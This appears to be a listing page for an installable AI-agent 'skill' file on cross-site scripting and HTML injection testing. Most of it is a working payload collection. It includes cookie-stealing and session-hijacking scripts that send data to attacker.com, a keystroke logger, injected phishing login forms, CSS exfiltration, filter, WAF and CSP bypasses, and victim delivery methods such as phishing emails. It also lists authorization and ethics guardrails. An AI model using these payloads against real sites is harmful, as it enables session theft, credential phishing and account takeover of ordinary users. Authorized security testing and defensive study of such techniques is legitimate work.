This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
Add this skill
npx mdskills install sickn33/xss-html-injectionComprehensive XSS testing guide with detailed payloads and bypass techniques
1---2name: Cross-Site Scripting and HTML Injection Testing3description: This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.4metadata:5 author: zebbern6 version: "1.1"7---89# Cross-Site Scripting and HTML Injection Testing1011## Purpose1213Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.1415## Inputs / Prerequisites1617### Required Access18- Target web application URL with user input fields19- Burp Suite or browser developer tools for request analysis20- Access to create test accounts for stored XSS testing21- Browser with JavaScript console enabled2223### Technical Requirements24- Understanding of JavaScript execution in browser context25- Knowledge of HTML DOM structure and manipulation26- Familiarity with HTTP request/response headers27- Understanding of cookie attributes and session management2829### Legal Prerequisites30- Written authorization for security testing31- Defined scope including target domains and features32- Agreement on handling of any captured session data33- Incident response procedures established3435## Outputs / Deliverables3637- XSS/HTMLi vulnerability report with severity classifications38- Proof-of-concept payloads demonstrating impact39- Session hijacking demonstrations (controlled environment)40- Remediation recommendations with CSP configurations4142## Core Workflow4344### Phase 1: Vulnerability Detection4546#### Identify Input Reflection Points47Locate areas where user input is reflected in responses:4849```50# Common injection vectors51- Search boxes and query parameters52- User profile fields (name, bio, comments)53- URL fragments and hash values54- Error messages displaying user input55- Form fields with client-side validation only56- Hidden form fields and parameters57- HTTP headers (User-Agent, Referer)58```5960#### Basic Detection Testing61Insert test strings to observe application behavior:6263```html64<!-- Basic reflection test -->65<test123>6667<!-- Script tag test -->68<script>alert('XSS')</script>6970<!-- Event handler test -->71<img src=x onerror=alert('XSS')>7273<!-- SVG-based test -->74<svg onload=alert('XSS')>7576<!-- Body event test -->77<body onload=alert('XSS')>78```7980Monitor for:81- Raw HTML reflection without encoding82- Partial encoding (some characters escaped)83- JavaScript execution in browser console84- DOM modifications visible in inspector8586#### Determine XSS Type8788**Stored XSS Indicators:**89- Input persists after page refresh90- Other users see injected content91- Content stored in database/filesystem9293**Reflected XSS Indicators:**94- Input appears only in current response95- Requires victim to click crafted URL96- No persistence across sessions9798**DOM-Based XSS Indicators:**99- Input processed by client-side JavaScript100- Server response doesn't contain payload101- Exploitation occurs entirely in browser102103### Phase 2: Stored XSS Exploitation104105#### Identify Storage Locations106Target areas with persistent user content:107108```109- Comment sections and forums110- User profile fields (display name, bio, location)111- Product reviews and ratings112- Private messages and chat systems113- File upload metadata (filename, description)114- Configuration settings and preferences115```116117#### Craft Persistent Payloads118119```html120<!-- Cookie stealing payload -->121<script>122document.location='http://attacker.com/steal?c='+document.cookie123</script>124125<!-- Keylogger injection -->126<script>127document.onkeypress=function(e){128 new Image().src='http://attacker.com/log?k='+e.key;129}130</script>131132<!-- Session hijacking -->133<script>134fetch('http://attacker.com/capture',{135 method:'POST',136 body:JSON.stringify({cookies:document.cookie,url:location.href})137})138</script>139140<!-- Phishing form injection -->141<div id="login">142<h2>Session Expired - Please Login</h2>143<form action="http://attacker.com/phish" method="POST">144Username: <input name="user"><br>145Password: <input type="password" name="pass"><br>146<input type="submit" value="Login">147</form>148</div>149```150151### Phase 3: Reflected XSS Exploitation152153#### Construct Malicious URLs154Build URLs containing XSS payloads:155156```157# Basic reflected payload158https://target.com/search?q=<script>alert(document.domain)</script>159160# URL-encoded payload161https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E162163# Event handler in parameter164https://target.com/page?name="><img src=x onerror=alert(1)>165166# Fragment-based (for DOM XSS)167https://target.com/page#<script>alert(1)</script>168```169170#### Delivery Methods171Techniques for delivering reflected XSS to victims:172173```1741. Phishing emails with crafted links1752. Social media message distribution1763. URL shorteners to obscure payload1774. QR codes encoding malicious URLs1785. Redirect chains through trusted domains179```180181### Phase 4: DOM-Based XSS Exploitation182183#### Identify Vulnerable Sinks184Locate JavaScript functions that process user input:185186```javascript187// Dangerous sinks188document.write()189document.writeln()190element.innerHTML191element.outerHTML192element.insertAdjacentHTML()193eval()194setTimeout()195setInterval()196Function()197location.href198location.assign()199location.replace()200```201202#### Identify Sources203Locate where user-controlled data enters the application:204205```javascript206// User-controllable sources207location.hash208location.search209location.href210document.URL211document.referrer212window.name213postMessage data214localStorage/sessionStorage215```216217#### DOM XSS Payloads218219```javascript220// Hash-based injection221https://target.com/page#<img src=x onerror=alert(1)>222223// URL parameter injection (processed client-side)224https://target.com/page?default=<script>alert(1)</script>225226// PostMessage exploitation227// On attacker page:228<iframe src="https://target.com/vulnerable"></iframe>229<script>230frames[0].postMessage('<img src=x onerror=alert(1)>','*');231</script>232```233234### Phase 5: HTML Injection Techniques235236#### Reflected HTML Injection237Modify page appearance without JavaScript:238239```html240<!-- Content injection -->241<h1>SITE HACKED</h1>242243<!-- Form hijacking -->244<form action="http://attacker.com/capture">245<input name="credentials" placeholder="Enter password">246<button>Submit</button>247</form>248249<!-- CSS injection for data exfiltration -->250<style>251input[value^="a"]{background:url(http://attacker.com/a)}252input[value^="b"]{background:url(http://attacker.com/b)}253</style>254255<!-- iframe injection -->256<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>257```258259#### Stored HTML Injection260Persistent content manipulation:261262```html263<!-- Marquee disruption -->264<marquee>Important Security Notice: Your account is compromised!</marquee>265266<!-- Style override -->267<style>body{background:red !important;}</style>268269<!-- Hidden content with CSS -->270<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">271Fake login form or misleading content here272</div>273```274275### Phase 6: Filter Bypass Techniques276277#### Tag and Attribute Variations278279```html280<!-- Case variation -->281<ScRiPt>alert(1)</sCrIpT>282<IMG SRC=x ONERROR=alert(1)>283284<!-- Alternative tags -->285<svg/onload=alert(1)>286<body/onload=alert(1)>287<marquee/onstart=alert(1)>288<details/open/ontoggle=alert(1)>289<video><source onerror=alert(1)>290<audio src=x onerror=alert(1)>291292<!-- Malformed tags -->293<img src=x onerror=alert(1)//294<img """><script>alert(1)</script>">295```296297#### Encoding Bypass298299```html300<!-- HTML entity encoding -->301<img src=x onerror=alert(1)>302303<!-- Hex encoding -->304<img src=x onerror=alert(1)>305306<!-- Unicode encoding -->307<script>\u0061lert(1)</script>308309<!-- Mixed encoding -->310<img src=x onerror=\u0061\u006cert(1)>311```312313#### JavaScript Obfuscation314315```javascript316// String concatenation317<script>eval('al'+'ert(1)')</script>318319// Template literals320<script>alert`1`</script>321322// Constructor execution323<script>[].constructor.constructor('alert(1)')()</script>324325// Base64 encoding326<script>eval(atob('YWxlcnQoMSk='))</script>327328// Without parentheses329<script>alert`1`</script>330<script>throw/a]a]/.source+onerror=alert</script>331```332333#### Whitespace and Comment Bypass334335```html336<!-- Tab/newline insertion -->337<img src=x onerror338=alert(1)>339340<!-- JavaScript comments -->341<script>/**/alert(1)/**/</script>342343<!-- HTML comments in attributes -->344<img src=x onerror="alert(1)"<!--comment-->345```346347## Quick Reference348349### XSS Detection Checklist350```3511. Insert <script>alert(1)</script> → Check execution3522. Insert <img src=x onerror=alert(1)> → Check event handler3533. Insert "><script>alert(1)</script> → Test attribute escape3544. Insert javascript:alert(1) → Test href/src attributes3555. Check URL hash handling → DOM XSS potential356```357358### Common XSS Payloads359360| Context | Payload |361|---------|---------|362| HTML body | `<script>alert(1)</script>` |363| HTML attribute | `"><script>alert(1)</script>` |364| JavaScript string | `';alert(1)//` |365| JavaScript template | `${alert(1)}` |366| URL attribute | `javascript:alert(1)` |367| CSS context | `</style><script>alert(1)</script>` |368| SVG context | `<svg onload=alert(1)>` |369370### Cookie Theft Payload371```javascript372<script>373new Image().src='http://attacker.com/c='+btoa(document.cookie);374</script>375```376377### Session Hijacking Template378```javascript379<script>380fetch('https://attacker.com/log',{381 method:'POST',382 mode:'no-cors',383 body:JSON.stringify({384 cookies:document.cookie,385 localStorage:JSON.stringify(localStorage),386 url:location.href387 })388});389</script>390```391392## Constraints and Guardrails393394### Operational Boundaries395- Never inject payloads that could damage production systems396- Limit cookie/session capture to demonstration purposes only397- Avoid payloads that could spread to unintended users (worm behavior)398- Do not exfiltrate real user data beyond scope requirements399400### Technical Limitations401- Content Security Policy (CSP) may block inline scripts402- HttpOnly cookies prevent JavaScript access403- SameSite cookie attributes limit cross-origin attacks404- Modern frameworks often auto-escape outputs405406### Legal and Ethical Requirements407- Written authorization required before testing408- Report critical XSS vulnerabilities immediately409- Handle captured credentials per data protection agreements410- Do not use discovered vulnerabilities for unauthorized access411412## Examples413414### Example 1: Stored XSS in Comment Section415416**Scenario**: Blog comment feature vulnerable to stored XSS417418**Detection**:419```420POST /api/comments421Content-Type: application/json422423{"body": "<script>alert('XSS')</script>", "postId": 123}424```425426**Observation**: Comment renders and script executes for all viewers427428**Exploitation Payload**:429```html430<script>431var i = new Image();432i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);433</script>434```435436**Result**: Every user viewing the comment has their session cookie sent to attacker's server.437438### Example 2: Reflected XSS via Search Parameter439440**Scenario**: Search results page reflects query without encoding441442**Vulnerable URL**:443```444https://shop.example.com/search?q=test445```446447**Detection Test**:448```449https://shop.example.com/search?q=<script>alert(document.domain)</script>450```451452**Crafted Attack URL**:453```454https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E455```456457**Delivery**: URL sent via phishing email to target user.458459### Example 3: DOM-Based XSS via Hash Fragment460461**Scenario**: JavaScript reads URL hash and inserts into DOM462463**Vulnerable Code**:464```javascript465document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);466```467468**Attack URL**:469```470https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>471```472473**Result**: Script executes entirely client-side; payload never touches server.474475### Example 4: CSP Bypass via JSONP Endpoint476477**Scenario**: Site has CSP but allows trusted CDN478479**CSP Header**:480```481Content-Security-Policy: script-src 'self' https://cdn.trusted.com482```483484**Bypass**: Find JSONP endpoint on trusted domain:485```html486<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>487```488489**Result**: CSP bypassed using allowed script source.490491## Troubleshooting492493| Issue | Solutions |494|-------|-----------|495| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |496| Payload appears but doesn't execute | Break out of attribute context with `"` or `'`; check if inside comment; test different contexts |497| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |498| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |499| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |500
Full transparency — inspect the skill content before installing.